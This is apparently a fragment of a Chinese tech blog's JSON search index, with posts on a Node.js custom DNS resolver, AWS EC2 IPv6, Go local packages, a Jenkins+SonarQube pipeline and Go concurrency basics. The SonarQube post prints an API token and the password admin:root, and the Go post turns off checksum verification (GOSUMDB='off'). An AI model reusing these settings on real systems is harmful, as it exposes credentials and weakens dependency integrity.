Error(\"Unable to resolve hostname\")); }); request.send(); });}axios.interceptors.request.use(function (config) { var url = URL.parse(config.url); if (!config.dnsServer || net.isIP(url.hostname)) { // Skip return config; } else { return resolveARecord(url.hostname, config.dnsServer).then(function (response) { config.headers = config.headers || {}; config.headers.Host = url.hostname; // put original hostname in Host header url.hostname = response.address; delete url.host; // clear hostname cache config.url = URL.format(url); return config; }); }});axios.get(`https://hostA.examplewqeeqweqweqwe.org`, { httpsAgent: agent, dnsServer: '127.0.0.1' }).then(({data}) => { console.log(data);}).catch((error) => { console.log(error)}) 這樣一來, 當對此 domain hostA.examplewqeeqweqweqwe.org 發 request 的時候就會被導入到你在上面 dns.js 程式輸入的任何 IP 了 更改網路的 dns 設定此設定要注意, 因為是改 wifi 設定所以所有的 domain 都會透過自建的 dns server 去解析所以假設你 dns server 給的 ip 是 1.1.1.1那麼你用瀏覽器開的 youtube.com 也會被解析成 1.1.1.1然後就連到 1.1.1.1 而不會連線到真正 youtube.com 的 IP 了 設定方式, 這邊只介紹 Mac 的設定方法 點擊 System Preferences > Network 會到連線設定的地方 並點選 Advanced (進階), 會看到上面有一排 Wi-Fi TCP/IP DNS 等等的 Tab 點入 DNS 這個 Tab 點選 + 後輸入 127.0.0.1 後按下 OK 以及套用即可完成 回復設定時, 先點選 127.0.0.1 在按下 - 就可以, 系統會自己填入預設用的 dns server IP","link":"/2020/06/09/custom-dns-server-with-nodejs/"},{"title":"如何啟用 AWS EC2 IPv6 ?","text":"前言要讓 ec2 支援往外連線 ipv6 的能力要先注意以下三點事項確認好這三點可以先 Marked 一下待會要額外做哪一些設定 確認 ec2 instance type 是否支援 ipv6, 可參考 Instance Types 確認 ec2 instance 是在 public subnet 還是 private subnet public subnet → 要用到 internet gateway private subnet → 要用到 egress-only internet gateway 確認 ec2 建立的方式, 以下有兩點要注意 2016.09 後 Linux 不需要多作設定 如果機器是用 AMI 建立的話, 需要手動設定 ipv6 的設定才能啟用 ipv6 其他版本 OS 使用方法可以參考 Configure IPv6 on Your Instances 啟用 ipv6啟用 ipv6 有以下幾個步驟要走 VPC 需要啟用 ipv6, 按下 Add IPv6 CIDR 讓它自動產生一組 Subnet 需要設定 ipv6 CIDR, 這邊注意到圖中的 00 是可以從 00 01 02 這樣慢慢設定上去, 另外這個 00 是以 16 進位表示 設定 Route Table 對外的部分 Desitination: ::/0 以下二擇一, 根據 ec2 所在的環境判斷 (Private Subnet) Target: egress-only internet gateway (Public Subnet) Target: Internet network gateway 設定 ec2 的 Security Group, Outbound 的部分要設定 Desitination: ::/0 Type: All Traffic Protocol: All Port range: All 指派 ipv6 給 ec2, 按下 Assign New IP 之後留空, 再按下 Yes, Update 讓它自己指派 接下來最後一點, 就要看機器狀況, 如同一開始提到的兩個情況 2016.09 後 Linux 不需要多作設定 如果機器是用 AMI 建立的話, 需要手動設定 ipv6 的設定才能啟用 ipv6 其他版本 OS 使用方法可以參考 Configure IPv6 on Your Instances 這邊就介紹用 Ubuntu 14 版本啟用的方式 Ubuntu 14 版本啟用 ip v6 的方式 修改 /etc/network/interfaces.d/eth0.cfg 內容 請在 iface 的下面一段加上 up dhclient -6 $IFACE 12345678# 原本auto eth0iface eth0 inet dhcp# 修改後auto eth0iface eth0 inet dhcp up dhclient -6 $IFACE 接著 sudo reboot 輸入 ifconfig 確認 ipv6 是否正確, 如果不正確, 輸入 sudo dhclient -6 啟用 ipv6 其他版本 OS 使用方法可以參考 Configure IPv6 on Your Instances References Migrating to IPv6","link":"/2020/03/30/ec2-ipv6/"},{"title":"Go local package 設置","text":"介紹這篇主要是介紹如何在本地不同資料夾下面,去引用別的資料夾的 go package 使用好處在於如果 clone 別人 source code 下來想要改的話,可以利用這種方式直接引用修改後的 source就不用自己還要推到 repository 實作這是我主要的程式 main.go,裡面會去使用我自己建立的 package123456789package mainimport ( \"github.com/Yu-Jack/go-hello\")func main() { hello.Cool()} 而 go.mod 目前設置如下12module example/hello-2go 1.16 接著跑 go get github.com/Yu-Jack/go-hello 把專案載下來後,go.mod 就會變這樣123module example/hello-2go 1.16require github.com/Yu-Jack/go-hello v0.0.0-20210921041315-798ac1b7038c // indirect 如果出現 410 Gone 以及 fatal: could not read Username for 'https://github.com': terminal prompts disabled 的錯誤,有以下幾個可能原因 第一個因為 https 預設是禁止的,所以建議用 ssh,所以在 gitconfig 要下這個指令去改 git config --global url."git@github.com:".insteadOf "https://github.com/",不過這個方式記得要把自己的 ssh key 上傳到 github 上 第二個是 GOPROXY & GOSUMOB 設定,別透過 proxy 去拿就可以 (如果是 public 專案可以看下面的備註的部分) 1234567# 原本GOPROXY="https://proxy.golang.org,direct"GOSUMDB="sum.golang.org"# 改成,既得用 export 的方式,直接 go env -w 是無法改的 GOPROXY="direct"GOSUMDB="off" 解法來源-issuecomment-546503518 若不想用第二種方式,可以用第三種設定 go env -w GOPRIVATE="github.com/Yu-Jack" 直接指定 repository 的位置即可,之後要移除可以透過 go env -u GOPRIVATE ### 備註如果專案是 public 的話,可以考慮等 1~2 小時接著就正常了,因為中間多一層 proxy 要一段時間才會生效如果急著要用的話,就可以考慮用 2 or 3 的方法以上面的 case 來說,會到 https://sum.golang.org/lookup/github.com/!yu-!jack/go-hello@v0.0.0-20210921041315-798ac1b7038c 這裡讀取資料如果在還沒生效之前,就會都是拿到 410 Gone 目前這樣設置的方式就是去讀從 gihub clone 下來的程式,通常會被放在 GOPATH 的路徑 (pkg/github 裡面)但通常會有權限問題,所以只能讀取,那如果想要隨意優改的話可以這樣做 (這裡不考慮改權限) 先把另一個專案 github.com/Yu-Jack/go-hello clone 到你想儲存的地方這邊假設存在 /Users/{usernme}/Downloads/go-hello 底下接著把剛剛的 go.mod 增加一行,去修改指向的位置,這邊就用絕對位置,但相對位置也是可以1replace github.com/Yu-Jack/go-hello => /Users/{usernme}/Downloads/go-hello 接著嘗試修改 clone 下來的專案,Github 原始程式碼如下可以修改一些字串後並重新跑 go run main.go 就會發現有成功吃到修改的部分123456789package helloimport ( \"fmt\")func Cool() { fmt.Println(\"hello\") // 可以改成 fmt.Println(\"hello yujack\")} ReferencesCan I work entirely outside of VCS on my local filesystem?","link":"/2021/09/21/go-local-package/"},{"title":"CI/CD 實現 - Sonarqube 篇","text":"前言究竟如何評估一個專案狀態是好是壞, 是否有持續成長變得更好?在沒有數據化的情況下, 也只能依靠感覺去評估專案是否有往好的方向前進那麼如果想要評估, 該依什麼樣的角度去思考呢?筆者認為 Code Analytics 以及 Test Coverage 是一個能參考的結果 特別是 Test Coverage 的部分, 這得依據 Testing 寫得好壞去評估萬一一個 Testing 是沒有任何斷言(assert)的話, 這樣 Test Coverage 也是 100%這就沒有任何參考價值了 專案變得更好, 這句有點抽象那我們來想想, 什麼樣叫做爛專案 程式碼可讀性非常差, 接手後沒人看得懂 註解寫的亂七八糟, 沒有任何參考價值 變數函式命名都是靠擲筊想出來的, 只有通靈王才讀得懂 漏洞一堆, 框架都提供 ORM 讓你用結果還自己組 sql 導致 sql injection 架構設計上沒有預先思考, 同樣程式碼一直重複在所有地方 沒有自動化測試, 改一個地方後雙重間接地影響到其他功能 ……. 等等 其實還有很多, 但就簡單列幾個那問題就來了, 專案一開始爛沒關係, 凡是給別人一個機會看他會不會變得更好聽起來只要上面列的幾點, 有持續改善就是越來越好, 但我們要怎麼知道?這就會需要 Code Analytics 以及 Test Coverage 的從旁幫助 透過每次提交新的程式碼去獲取以下數據, 就可以知道每一次新提交的程式碼是否有改善 Test Coverage Testing 數量 是否有漏洞問題出現 是否有程式碼壞味道 是否有明顯的 Bug 但這實際改善還是得配合 Code Review 才能做到比如說是程式設計架構好不好, 這還是得透過『人』去處理, 畢竟事在人為獲取以上數值只是拿來量化專案工具只是一種輔助, 實際能幫助的還是有限的如果寫的人不看建議也不想修改 …… 那我會先建議你先喝杯茶再說了 那這邊使用的工具會是使用 Sonarqube + Jenkins + SlackJenkins + Slack 上次 CI/CD 那篇就提過, 所以這裡不會提到太多這裡會以 Sonarqube 掃描和如何在 Jenkins 上使用為主軸 Sonarqube 介紹Sonarqube 就是一款 Code Analytics 的工具可以幫你獲取上述幾點的數據, 也會告訴你當有漏洞或壞味道出現時應該怎麼修改程式 這邊快速簡介 Sonarqube 的運行架構, Sonarqube 會有所謂 scanner 以及 serverscanner 就是專門去掃程式用的, 掃完程式的結果會放置 server而我們就會登入到這台 server 去看程式掃出來的結果 這是掃描專案的主畫面, 可以看到上面有出現兩個 Bug 這個 Bug 點進去會看到這樣的圖 我事先先寫了一個無窮迴圈的程式這時 sonarqube 就有幫我掃出來問題再往下點進去, 他會有一個說明告訴你為什麼他會找到這個 Bug他會給你一個正例和反例讓你了解問題在哪 以上為其中一個例子, 其他還有很多規則像是 Security Hopspot以下圖來說, 他就會告訴你在寫 express 的時候, 要注意不要寫入過於敏感的資訊也告訴你不要嘗試以為用 encode 的方法存入就沒問題, 因為還是會被 decode 出來 再來就是我們比較注意的點, 也就是是否這些問題和 Test Coverage 都有記錄起來這裡都會記錄每次掃描到的問題, 所以透過折線圖會清楚了解到目前專案是不是累積越來越多問題可以看到 04:25 掃描的結果和 04:30 掃描的差異結果 再來就是 Test Coverage, Sonarqube 其實也提供讓你把 Unit Test 的結果丟上去並去做紀錄從下圖中可以看到 2020/12/18 當時有掃描了 2 個 unit test, 且 Test coverage 都是 100% 而圖中上面可以看到目前總共用 6 個 Unit Test, 且總體的 Test coverage 都是 100%所以除了每次分別紀錄的 Test coverage 之外, 也會告訴你總體的 Test coverage 是否有在成長 整合後流程使用說明有一點非常重要先提到, 因為 Sonarqube 掃描多 branch 版本是需要錢的但我只有 community 的版本可以用, 也就是上面只有一個 branch 可以用所以做法上, 我會把一個 branch 放成一個 project 假設專案叫做 test, branch 有 test1 和 test2在 Sonarqube server 上就會建立兩個 Project 去做掃描 test:test1 test:test2 而為何以這種方式建立 原因是這整套系統使用的基本需求就是會掃描開發者各自的 branch但為了讓開發者各自的 branch 第一次掃描也會被 Sonarqube 算在新提交的程式碼的前提下必須先掃描一次 develop branch 的版本到 Sonarqube 當做基底 這樣當下次開發者掃描各自的 branch 時, 就可以從第一次開始計算那為了不讓各自開發者互相影響到, 所以會以 {project_name}:{branch_name} 去開 Sonarqube project 我們來舉個例子看一下目前有兩支 AB 程式都各有一個 Bug但在 master/develop branch 中, 只存在一支程式 A, 在另一個 branch test 中存在另一支程式 B如果今天我直接以 branch test 去掃描會發生什麼事情? 在 New Code 是不會看到任何指標 而在 Overall Code 卻會看到兩個 Bug 那我們預期的結果是什麼?我們想要在 Overall Code 中出現 AB 程式, 但在 New Code 只想要出現 B 程式也就是我們得先以 master/develop 先掃描一次之後, 再去掃描另一個 branch test 才會有這樣的效果 整體流程圖如下 藍色區域是 MainPipeline 執行紅色區域是 SonarqubeJob 執行被藍色包起來代表, 觸發點是 MainPipeline, 執行過程會去呼叫 SonarqubeJob Jenkins + Sonarqube主要是透過 Jenkins pipeline 的方式去運作這邊就附上上面流程中的兩個 Job 的 pipeline (MainPipeline) 主要流程的 pipeline https://gist.github.com/Yu-Jack/f7f03ca8dccdd04bed4a1428e48eb7af (SonarqubeJob) 專門掃描程式的 pipline, 而因為後面專案有使用 java 和 nodejs, 所以會根據參數決定要用哪一個去掃描 https://gist.github.com/Yu-Jack/f7f03ca8dccdd04bed4a1428e48eb7af#gistcomment-3591103 為了不想讓文章看起來太長, 所以就全部都放 gist 而特別要注意的是在 Jenkins 裡面的 Sonarqube 環境設置, 包含以下三點 Jenkins plugins 去外掛管理程式裡面安裝 SonarQube Scanner nodejs 兩個 plugins Sonarqube scanner scanner 的部分在掃描程式的 pipeline 中透過以下方式設定 scannerHome 123environment { scannerHome = tool name: 'sonarqube-scanner-test'} 詳細的這個 sonarqube-scanner-test 名稱 可以在 管理 Jenkins > Global Tool Configuration > SonarQube Scanner 裡面發現 Sonarqube server server 的部分在掃描程式的 pipeline 中透過以下方式設定 server 位置 1234567 environment { sonarqube_server = 'http://sonarqube:9000'} ... other code ... other code ... other codewithSonarQubeEnv('local-sonarqube') 上面的 sonarqube_server 是為了打 api 暫時先設置的 下面的 local-sonarqube 可以在 管理 Jenkins > 設定系統 > SonarQube servers 裡面發現 Demo利用 MainPipeline 去 build 參數 下面提供測試用的參數 第一組測試參數branch: feature/test-3git_repository_name: sonarqube-test-demoproject_type: nodejs 第二組測試參數branch: feature/test-4git_repository_name: sonarqube-test-demo-javaproject_type: java 有興趣想玩玩的, 我也有包成 docker-compose.yml 可以去使用, 可以按照以下步驟去實驗jenkins 和 sonarqube 的帳號密碼皆為 admin:root docker run -d --name="demo_backup" jk82421/jenkins_server:v1 docker cp demo_backup:/var/jenkins_home_backup/jenkins_home ~/Downloads/jenkins-sonarqube-test 把我的備份的 jenkins_home 先複製出來 把 docker-compose 的 {Your_downloaded_jenkins_home} 改成 /Users/name/Downloads/jenkins-sonarqube-test 記得 name 這裡要填你自己的 執行 docker-compose up, docker-compose.yml 如下 1234567891011121314version: \"3.7\"services:sonarqube: image: jk82421/sonarqube_server:v2 ports: - 9000:9000jenkins_server: image: jenkins/jenkins:lts volumes: - {Your_downloaded_jenkins_home}:/var/jenkins_home ports: - 8080:8080 - 50000:50000 最後記得停止和刪除一開始備份的東西 12docker stop demo_backupdocker rm demo_backup Jenkin 網頁在 http://localhost:8080 Sonarqube 網頁在 http://localhost:9000 以下紀錄 jenkins 和 sonarqube 有調整的部分 sonarqube 部分 帳號密碼為: admin:root 幫 admin 建立一組 api token (00f31133302ea8d7fdec5e3ff72fbb67d3b7632d) 記憶體最大都調整到 1024mb jenkins 部分 帳號密碼為: admin:root 安裝 Sonarqube scanner 環境有設置 Sonarqube scanner 的名稱, 以及設定 api token credential 安裝 nodejs plusgin 環境有設置 nodejs 的名稱 docker container 部分 內存建議需要調到 4GB 以上 (因為 sonarqube + es 需要比較大的內存, 個人是調到 8GB) 問題紀錄過程中有到以下兩個常噴的錯誤這兩者問題發生跟記憶體不足是有關係的若遇到則把 docker container 或是使用的 host 記憶體加大應該可以解決問題 1SonarQube Process exited with exit value [es]: 137 122021.01.17 06:37:35 WARN web[][o.s.s.a.EmbeddedTomcat] Failed to stop web serverorg.apache.catalina.LifecycleException: A child container failed during stop 後記這版本還有一些地方要進行調整 例如拉 branch 的方式, 應該要配合 credential 去處理 目前 repository 是寫死的, 應該要變成可調動的參數 這些就先留給未來的我慢慢調整拉","link":"/2021/01/17/ci-cd-sonarqube/"},{"title":"初學 Go 該注意的事","text":"前言最近一兩個月開始寫比較多 Go 的專案,所以就把在寫 Go 時覺得應該要先知道的資訊記錄下來,這篇目前不會紀錄跟測試相關的,測試會再額外拉出來介紹。 strcut 和 receiver 的內容在之前的學習 Golang 的心得 - Receiver 就已經有提到過,這邊會快速帶過。整篇內容不會講太多細節,主要是可以清楚了解 Go 有哪些比較特別的用法,有些主題的原理我會再額外開文章去轉寫詳細內容。 struct在 Go 裡面並沒有 class 的概念,取而代之的是 struct,有學過 C / C++ 對這東西應該很了解,基本上就是一種資料結構,而在 Go 裡面會大量用到 struct。 直接來看一個 struct 使用範例,就會看到印出 {jack} 出現。 123456789101112131415package mainimport \"fmt\"type User struct { Name string}func main() { user := User{ Name: \"jack\", } fmt.Println(user)}// {jack} 如果想更詳細看到 struct 對應的欄位名稱,可以改用 fmt.Println("%#v\\n", user),就可以看到 main.User{Name:"jack"} 這個結果出現。 receiver接著若我想用 function 去修改我的名字的話,可以這麼做。 12345678910111213141516171819package mainimport \"fmt\"type User struct { Name string}func (user *User) changeName() { user.Name = \"hi\"}func main() { user := User{ Name: \"jack\", } user.changeName() fmt.Printf(\"%#v\\n\", user)} 可以看到特別的地方在於 function name 前面有一個類似參數的東西,那個叫做 receiver,另一個是 pointer 的部分,詳細的內容建議到學習 Golang 的心得 - Receiver 了解一下,裡面也有提到 Go 裡面是只有存在 pass by value,但以 map & slice 來說他們 copy 的是 pointer value,而不是資料本身,換句話說 map & slice 傳到 function 裡面做修改時是會影響外面的。 interfaceinterface 可以來定義執行的動作,Go 是 duck typing 的一種類型,只要當前的方法和屬性有符合 interface 定義的結構,那就可以被使用。 123456789101112131415161718192021222324252627package mainimport \"fmt\"type User struct { Name string}func (user *User) changeName(newName string) { user.Name = newName}type Action interface { changeName(newName string)}func doSomething(a Action, newName string) { a.changeName(newName)}func main() { user := User{ Name: \"jack\", } doSomething(&user, \"hi2\") fmt.Printf(\"%#v\\n\", user)} 但這邊會看到一個比較特別的是用 &user 傳進去才可以使用,那是因為 changeName 這個 function 是 pointer type 的 User 實作的,並不是 value type 的 User 實作的,也就是 *User 有 changeName,但 User 沒有 changeName 可以使用,更詳細的之後再開一篇來說明。 callback在 Go 中 function 是 First-class function,所以 function 可以被當作參數儲存下來。 1234567891011package mainimport \"fmt\"func main() { a := func() { fmt.Println(\"cool\") } a()} 也就意味著可以當成 callback 的方式去運行。 1234567891011121314package mainimport \"fmt\"func cool(inp string, cb func(result string)) { newStr := fmt.Sprintf(\"%s:%s\", inp, \"hihihi\") cb(newStr)}func main() { cool(\"yo?\", func(result string) { fmt.Println(result) })} deferGo 中有一個 defer 方法,可以讓你 defer 後面接著 function 在執行的 function 的 scope 結束前去執行,直接來看範例。 12345678910111213141516package mainimport \"fmt\"func cool() { fmt.Println(\"yoyo\")}func main() { fmt.Println(\"start\") defer cool() fmt.Println(\"end\")}// start// end// yoyo 通常都會用在讀檔完成後,去用 defer 呼叫 f.close,確保會把檔案給關閉。另外 defer 是 LIFO 的概念,也就是以 stack 的概念去看待。再來一個比較特別的用法,因為 defer 接收的參數是 function,所以可以透過在 defer 的 function 裡面回傳 function 用來計算執行 defer 本身 function 執行時間,類似以下方式。 1234567891011121314151617181920package mainimport ( \"fmt\" \"time\")func cool() func() { fmt.Println(time.Now()) return func() { fmt.Println(time.Now()) }}func main() { defer cool()() time.Sleep(2 * time.Second)}// 2022-01-07 23:33:10.983361 +0800 CST m=+0.000175862// 2022-01-07 23:33:12.984566 +0800 CST m=+2.001384914 panic & recovery在 Go 裡面可以用 panic 的方式直接終止程式運行。 1234567891011121314package mainimport ( \"fmt\")func cool() { panic(\"bad\")}func main() { cool() fmt.Println(\"yoo?\")} 即便改用 goroutine 的方式,整個程式還是會被終止。 12345678910111213141516package mainimport ( \"fmt\" \"time\")func cool() { panic(\"bad\")}func main() { go cool() time.Sleep(2 * time.Second) // 因為 goroutine 啟動需要一點時間,不加這行的話,還是會執行到最下面。 fmt.Println(\"yoo?\")} 那麼被終止就會有對應可以回復的方式,就是透過 recovery 去接錯誤,但 recovery 只能用在 defer 接的 function 後面,而且一定要在 panic 之前呼叫才可以。 123456789101112131415package mainimport ( \"fmt\")func main() { defer func() { err := recover() fmt.Println(\"got error\") fmt.Println(err) }() panic(\"bad\") fmt.Println(\"yoo?\") } 但要注意的是,panic 後面得程式是不會繼續執行下去的,另外 panic & recovery 是有 scope 關係的,如果上面的程式用別的 goroutine 去執行 panic 則不會正確抓到,如下範例。 1234567891011121314151617181920212223package mainimport ( \"fmt\")func cool() { panic(\"bad\")}func main() { defer func() { err := recover() fmt.Println(\"== got error ==\") fmt.Println(err) fmt.Println(\"== got error ==\") }() go cool()}// == got error ==// <nil> // 沒抓到// == got error ==// panic: bad 若是放到同個 scope 則可以運作正常。 123456789101112131415161718192021222324package mainimport ( \"fmt\" \"time\")func cool() { defer func() { err := recover() fmt.Println(\"== got error ==\") fmt.Println(err) fmt.Println(\"== got error ==\") }() panic(\"bad\")}func main() { go cool() time.Sleep(1 * time.Second)}// == got error ==// bad// == got error == init通常在寫 class 的語言時,會習慣有 construct 的東西存在,當在 new 一個東西時去執行一些動作。只是 Go 沒有 class,且用 package 的概念,但還是相對類似的東西可以使用,也就是 init,會發現以下程式不用實際去呼叫 init 這個 function 也能被執行到。 1234567891011package mainimport ( \"fmt\")func init() { fmt.Println(\"this is init\")}func main() {} 以執行的順序來說,即使在上面有初始化一些資料,init 也會蓋過 123456789101112131415161718package mainimport ( \"fmt\")var a = \"1\"func init() { a = \"123\" fmt.Println(\"this is init\")}func main() { fmt.Println(a)}// this is init// 123 buffered / unbuffered channelchannel 主要是被設計在不同 goroutine 之間溝通的一種方式,並不是採用以往認知的共享記憶體,然後還要設計去限制一次只能有一個 thread 去對共享記憶體中的資料做讀寫這種複雜的方式,在 Go 裡面不同 goroutine 的溝通是更加簡單的。 先來對名詞簡單定義一下,後面會有更完整的總結說明。 unbuffered channel: 無法指定 channel 大小 buffered channel: 可以指定 channel 大小 再來對語法簡單說明一下 <- ch 代表是從 channel 中讀出資料 ch <- 代表是把資料塞到 channel 中 unbuffered channel先來簡單看一個範例。 1234567891011121314151617181920package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string) go func() { time.Sleep(2 * time.Second) fmt.Println(<-ch) }() fmt.Println(\"start\") ch <- \"11\" fmt.Println(\"end\")}// start// 11// end 這個範例除了 main thread goroutine 之外,還用了 go 開了一個 goroutine 出來,那印出的順序是按照順序的,也就說明這是一個同步行為,接著我們試著拿掉中間 go 的部分。 1234567891011121314package mainimport ( \"fmt\")func main() { ch := make(chan string) fmt.Println(\"start\") ch <- \"11\" fmt.Println(\"end\")}// start// fatal error: all goroutines are asleep - deadlock! 可以發現在執行 ch <- "11" 那一行就噴出 fatal error 了,原因是 unbufferd channel 是同步的關係,所以是會 block 當前 goroutine 的,以這個 case 來說,我們只有 main goroutine,並沒有其他 goroutine,就代表沒有其他地方可以執行讀取 channel 的指令,整個程式就會壞掉。 這也是在網路上常看到說,unbuffered chhanel 的讀寫必須是要一組的,有個地方讀,就要有個地方寫,不過我們再看一個範例。 1234567891011121314151617package mainimport ( \"fmt\")func main() { ch := make(chan string) fmt.Println(\"start\") go func() { for { } }() ch <- \"11\" fmt.Println(\"end\")}// start 會發現這個範例只有寫入,卻沒有讀取,但不會噴出 error,雖然還沒讀到原始碼,但 Go 應該是認定雖然 main goroutine blocked,但有其他 goroutine 還在運行,代表期待其他 goroutine 會讀取這個 channel 資料,既然還有 goroutine 還活著,整個程式就不會陷入 deadlock。 所以實際上判定不是說,一定要有讀寫一組,而是當你用了一邊的讀/寫,那麼 Go 就期待有另一個地方也執行對應的寫/讀,若完全沒有 goroutine 存在,就代表不會有另一邊行為的出現,就會陷入 deadlock。 buffered channel再來說到 buffered channel,直接來看範例。 123456789101112131415package mainimport ( \"fmt\")func main() { ch := make(chan string, 2) // 指定大小 fmt.Println(\"start\") ch <- \"11\" ch <- \"11\" fmt.Println(\"end\")}// start// end 可以看到這個 case 跟前一個不同,是不需要額外開 goroutine 出來的,那如果我們塞往 channel 多塞一筆資料呢? 12345678910111213141516package mainimport ( \"fmt\")func main() { ch := make(chan string, 2) fmt.Println(\"start\") ch <- \"11\" ch <- \"11\" ch <- \"11\" fmt.Println(\"end\")}// start// fatal error: all goroutines are asleep - deadlock! 會發現情況變得跟 unbuffered 的情況一樣,這時候因為沒有其他 goroutine,所以就出現 deadlock,所以一樣故意加一個新的 goroutine,他就不會噴出 error,如下。 123456789101112131415161718package mainimport ( \"fmt\")func main() { ch := make(chan string, 2) fmt.Println(\"start\") go func() { for { } }() ch <- \"11\" ch <- \"11\" ch <- \"11\" fmt.Println(\"end\")} 所以 buffered channel 的特性,在塞滿之前是不會期待有其他 goroutine 去對 channel 操作,也意味這 buffered channel 在滿之前,會是非同步的行為,滿了之後就會 block 當前 goroutine,行為等同於 unbuffered channel,那如果在沒滿和滿之間的話呢?其實是可以在當前 goroutine 直接去做操作,如下範例。 12345678910111213141516171819202122package mainimport ( \"fmt\")func main() { ch := make(chan string, 2) fmt.Println(\"start\") ch <- \"11\" fmt.Println(<-ch) ch <- \"12\" fmt.Println(<-ch) ch <- \"13\" fmt.Println(<-ch) fmt.Println(\"end\")}// start// 11// 12// 13// end 但另一個特別的點是,如果 buffered channel 裡面是沒有任何資料的話,使用 <- ch 也是會 block 當前的 goroutine,unbuffered channel 也是一樣的邏輯,如下範例。 1234567891011121314151617package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string, 2) // or ch := make(chan string, 2) go func() { fmt.Println(\"got it\") time.Sleep(2 * time.Second) ch <- \"hi\" }() <-ch fmt.Println(\"end\")} 可以看到開一個新的 goroutine 要去寫資料進去,但原本的 main goroutine 就停在 <-ch,直到把資料寫進去 channel,main goroutine 才繼續執行下去,接著若我把中間 goroutine 拿掉的話,則會出現 deadlock,因為已經沒有任何 goroutine 存在,也就代表不可能有人可以把資料寫到 channel。 123456789101112package mainimport ( \"fmt\")func main() { ch := make(chan string, 2) <-ch fmt.Println(\"end\")}// fatal error: all goroutines are asleep - deadlock! 簡單總結 unbuffered channel 當執行讀寫其中一個動作,會 block 當前 goroutine,若同時沒有其他 goroutine 則會陷入 deadlock buffered chhannel 當 channel 沒滿的時候,是可以在同一個 goroutine 中讀寫多次 若 channel 是滿的時後,則會 block 當前 goroutine,若同時沒有其他 goroutine 則會陷入 deadlock。 若 channel 是空的時候,執行讀取也會 block 當前 goroutine,若同時沒有其他 goroutine 也會陷入 deadlock。 sync flow直接先看以下範例。 12345678910111213package mainimport ( \"fmt\")func main() { go func() { fmt.Println(\"cool\") }() fmt.Println(\"end\")}// end 可以看到最終只有 end 被印出來,並沒有等待另一個 goroutine 中的 cool,那是因為 main goroutine 已經結束,所以就跳出整個程式,這 part 要討論的是要如何去把同步流程,等到 cool 出來之後,整個程式才結束執行。 Channel如果要讓程式停下來等,就可以利用 unbuffered channel block 的機制去實現,如下範例。 123456789101112131415package mainimport ( \"fmt\")func main() { done := make(chan bool) go func() { fmt.Println(\"cool\") done <- true }() <-done fmt.Println(\"end\")} WaitGroup另一個是 WaitGroup,主要提供 Add Wait Done 三個 function,只要 Add 多少次,就得需要做對應次數的 Done,否則 Wait 的那一行就會一直等下去,簡單來說。 Add (int): 增加幾次計數 Done: 等同於 Add (-1) 的概念 Wait: blocked 直到 Add & Done 總合起來為零為止 先看下面正常使用的範例。 1234567891011121314151617package mainimport ( \"fmt\" \"sync\")func main() { var wg sync.WaitGroup wg.Add(1) go func() { fmt.Println(\"cool\") wg.Done() }() wg.Wait() fmt.Println(\"end\")} 若如果有兩個 Add,配合一個 Done 的會就會卡住,如下範例。 12345678910111213141516171819package mainimport ( \"fmt\" \"sync\")func main() { var wg sync.WaitGroup wg.Add(2) go func() { fmt.Println(\"cool\") wg.Done() }() wg.Wait() fmt.Println(\"end\")}// cool// fatal error: all goroutines are asleep - deadlock! 從這範例可以發現跟 channel 的機制其實很相似,以這個 case 來說,已經沒有任何 goroutine 可以執行 Done 的動作,就會被歸類在 deadlock 了。 context在寫 Go 時,可以很常看到 function 第一個參數就是 context,然後會一直被傳下去。 而這個 context 基本上是被設計同步不同 goroutine 流程或是夾帶資訊到不同 goroutine / function 之中的一個東西,我們先個看個 context 可以如何使用去夾帶資訊。 12345678910111213141516package mainimport ( \"context\" \"fmt\")func cool(ctx context.Context) { fmt.Println(ctx.Value(\"aa\"))}func main() { ctx := context.Background() ctx = context.WithValue(ctx, \"aa\", \"123\") cool(ctx)} 上面範例就是把一個 key-value 綁在 context 傳下去,讓其他接收到的人都可以讀取同樣的資訊,其實像是在 Go http server,每一個請求都是開一個新的 goroutine,並把對應的 request body 資訊綁在 context 裡面往下傳,所以我們才可以直接在 contex 去讀取請求。 另一個是同步流程,假設我們想一次停止所有 goroutine,就很適合用 context 是去處理,如下範例。 1234567891011121314151617181920212223242526272829package mainimport ( \"context\" \"fmt\" \"time\")func main() { ctx, cancel := context.WithCancel(context.Background()) go func(ctx context.Context) { fmt.Println(\"start-1\") <-ctx.Done() fmt.Println(time.Now()) fmt.Println(\"end-1\") }(ctx) go func(ctx context.Context) { fmt.Println(\"start-2\") <-ctx.Done() fmt.Println(time.Now()) fmt.Println(\"end-2\") }(ctx) time.Sleep(1 * time.Second) cancel() time.Sleep(1 * time.Second)} selectselect 能夠監聽多個 channel 的讀寫狀況,若 channel 都沒有任何動作,就會 block 當前 goroutine,如下範例。 1234567891011121314151617181920package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string) go func() { fmt.Println(\"start\") select { case value := <-ch: fmt.Println(value) } fmt.Println(\"end\") }() time.Sleep(2 * time.Second)}// start 若我在 Sleep 前把資料寫到 channel,那個 goroutine 就會監聽到這個動作,並往後執行。 1234567891011121314151617181920212223package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string) go func() { fmt.Println(\"start\") select { case value := <-ch: fmt.Println(value) } fmt.Println(\"end\") }() ch <- \"cool\" time.Sleep(2 * time.Second)}// start// cool// end 但比較特別的點是 select 可以有一個 default case,當執行的當下沒有任何 channel 有動作,那就會執行 default 的部分。 123456789101112131415161718192021222324package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string) go func() { fmt.Println(\"start\") select { case value := <-ch: fmt.Println(value) default: fmt.Println(\"default\") } fmt.Println(\"end\") }() time.Sleep(2 * time.Second)}// start// default// end 接著另一個有趣的點,當 select 搭配不同類型的 channel 會有不同的結果,關鍵取決於 channel 當下是否 block。以 unbuffered channel 來說,不管在 case 讀寫,都是屬於 block 行為,就不會觸發那條 case 發生,如下範例。 1234567891011121314151617181920package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string) go func() { fmt.Println(\"start\") select { case ch <- \"cool\": // blocked fmt.Println(\"put\") } fmt.Println(\"end\") }() time.Sleep(2 * time.Second)}// start 若要讓他往下執行,就得需要對應的讀取動作才可以。 1234567891011121314151617181920212223package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string) go func() { fmt.Println(\"start\") select { case ch <- \"cool\": fmt.Println(\"put\") } fmt.Println(\"end\") }() <-ch time.Sleep(2 * time.Second)}// start// put// end 所以換到 buffered channel,在 channel 沒滿之前,case 是可以被正常觸發的。 12345678910111213141516171819202122package mainimport ( \"fmt\" 